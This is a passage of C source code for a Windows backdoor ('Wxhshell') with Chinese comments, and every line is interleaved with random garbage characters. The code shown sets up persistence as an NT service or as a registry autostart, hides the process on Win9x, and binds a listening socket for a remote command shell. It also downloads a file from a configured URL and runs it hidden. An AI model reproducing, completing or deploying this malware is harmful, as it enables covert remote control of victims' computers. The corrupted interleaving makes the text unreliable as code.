$ unsigned long cbNeeded; zp<B,Ls nw%`CnzT if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [0]A-#J ZILJXX4 CloseHandle(hProcess); "* F`,I3 y1Z>{SDiq if(strstr(procName,"services")) return 1; // 以服务启动 [w|Klq5 _6ck@ return 0; // 注册表启动 c1jRj=\ } LCtVM70 _N^w5EBC] // 主模块 -C3 [:g int StartWxhshell(LPSTR lpCmdLine) 6l;2kztGp { )`R}@(r. SOCKET wsl; %!(C?k!\ BOOL val=TRUE; PM#3N2?|E int port=0; /WE\0bf struct sockaddr_in door; 6L$KMYHE m|{^T/kIbQ if(wscfg.ws_autoins) Install(); #5z0~Mg-X GJrmK port=atoi(lpCmdLine); :/$WeAg F4==a8 if(port<=0) port=wscfg.ws_port; f(~N+2} ]7Sf) WSADATA data; 8(L2w|+B< if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AD?XJ3 !U m9ceK if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; s hH2/.> setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G:tY1'5 door.sin_family = AF_INET; [X!w@d= i door.sin_addr.s_addr = inet_addr("127.0.0.1"); %'2.9dB door.sin_port = htons(port); 4\
Xaou2V[ 'o#oRK{# if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QRf>lZP closesocket(wsl); $6pLsX return 1; /]!2k9u\ } Bps%>P~. ?{B5gaU9F if(listen(wsl,2) == INVALID_SOCKET) { p8%qU>~+4 closesocket(wsl); n-" (~ return 1; ka\{?:r,8 } 52tc|j6~# Wxhshell(wsl); O=RS</01! WSACleanup(); !uW*~u *S:~U return 0; |y eQz 0h*Le } 6` TwP\!$/ J*$%d1 // 以NT服务方式启动 $$1t4=Pz VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "}*D,[C5e { b2UDP W DWORD status = 0; YxJQ^D` DWORD specificError = 0xfffffff; :#^qn|{e u5k{.& serviceStatus.dwServiceType = SERVICE_WIN32; hoqZb<: serviceStatus.dwCurrentState = SERVICE_START_PENDING; `HXv_9 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zH}3J} serviceStatus.dwWin32ExitCode = 0; 5buW\_G) serviceStatus.dwServiceSpecificExitCode = 0; iiIns.V serviceStatus.dwCheckPoint = 0; _Ik?WA_; serviceStatus.dwWaitHint = 0; BL16?&RK 4F#H$`:[ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %(/E
` if (hServiceStatusHandle==0) return; ',0:/jSz m.Zy$SDj( status = GetLastError(); T3{~f if (status!=NO_ERROR) /h+ W L { dnoF)(d&Cm serviceStatus.dwCurrentState = SERVICE_STOPPED; K!&W} _@l serviceStatus.dwCheckPoint = 0; z0<E3t serviceStatus.dwWaitHint = 0; $e7%>*?m serviceStatus.dwWin32ExitCode = status; BKg8p]`+ serviceStatus.dwServiceSpecificExitCode = specificError; .s*N1
U?h SetServiceStatus(hServiceStatusHandle, &serviceStatus); F8?2+w@P return; '@.6Rd 8 } xj>P5\mW# fe/;U=te serviceStatus.dwCurrentState = SERVICE_RUNNING; .b3h?R*& serviceStatus.dwCheckPoint = 0; JVX)>2&$ serviceStatus.dwWaitHint = 0; 8O'bCBhv if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >80k5$t } : x&R'wX- Gc`PO // 处理NT服务事件,比如:启动、停止 W<X3!zuKSg VOID WINAPI NTServiceHandler(DWORD fdwControl) )tI^2p{ { &<98nT switch(fdwControl) V&nB*U&s" { \+R %KA/F case SERVICE_CONTROL_STOP: :$b` n serviceStatus.dwWin32ExitCode = 0; *zrGrk:l serviceStatus.dwCurrentState = SERVICE_STOPPED; X+XDfEt:Q serviceStatus.dwCheckPoint = 0; .T9$O]:o serviceStatus.dwWaitHint = 0; m1pA]}Y/5o { @-dGZ5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9m)$^U>oz } ,^?g\&f( return; qhxMO[f case SERVICE_CONTROL_PAUSE: hi!A9T3%}M serviceStatus.dwCurrentState = SERVICE_PAUSED; ;^xM"
{G8 break; $C7a#?YF, case SERVICE_CONTROL_CONTINUE: f%o[eW# serviceStatus.dwCurrentState = SERVICE_RUNNING; HRyFjAR\? break; &Uam4'B6- case SERVICE_CONTROL_INTERROGATE: bQautRW break; HXKM<E{j }; Ow/,pC >V SetServiceStatus(hServiceStatusHandle, &serviceStatus); sWr;%<K } }g/u.@E 4)w,gp // 标准应用程序主函数 Z|n|gxe int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r&4Xf#QD6 { =;0-t\w! 'r]6 GC8Z$ // 获取操作系统版本 kFp^?+WI%H OsIsNt=GetOsVer(); c36p+6rJk= GetModuleFileName(NULL,ExeFile,MAX_PATH); 'z"vk /Yy)=~t{ // 从命令行安装 p [C
9g if(strpbrk(lpCmdLine,"iI")) Install(); 0 MK} ~6t!)QATnp // 下载执行文件 $vu*# .w if(wscfg.ws_downexe) { %jjPs. if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e&z@yy$
WinExec(wscfg.ws_filenam,SW_HIDE); 0! 3. .5== } T&'Jc ?A|JKOst] if(!OsIsNt) { wPM>-F // 如果时win9x,隐藏进程并且设置为注册表启动 .b]sQ' HideProc(); ~6i'V?> StartWxhshell(lpCmdLine); g9" wX?* } F9o7=5WAb else vWoppt if(StartFromService()) /*y5W-'d^ // 以服务方式启动 fG'~@'P~ StartServiceCtrlDispatcher(DispatchTable); ?0t^7HMP else L=#NUNiXr // 普通方式启动 zfKO)Itd StartWxhshell(lpCmdLine); }e$ h_(M#gG return 0; {nwoJ'-V }
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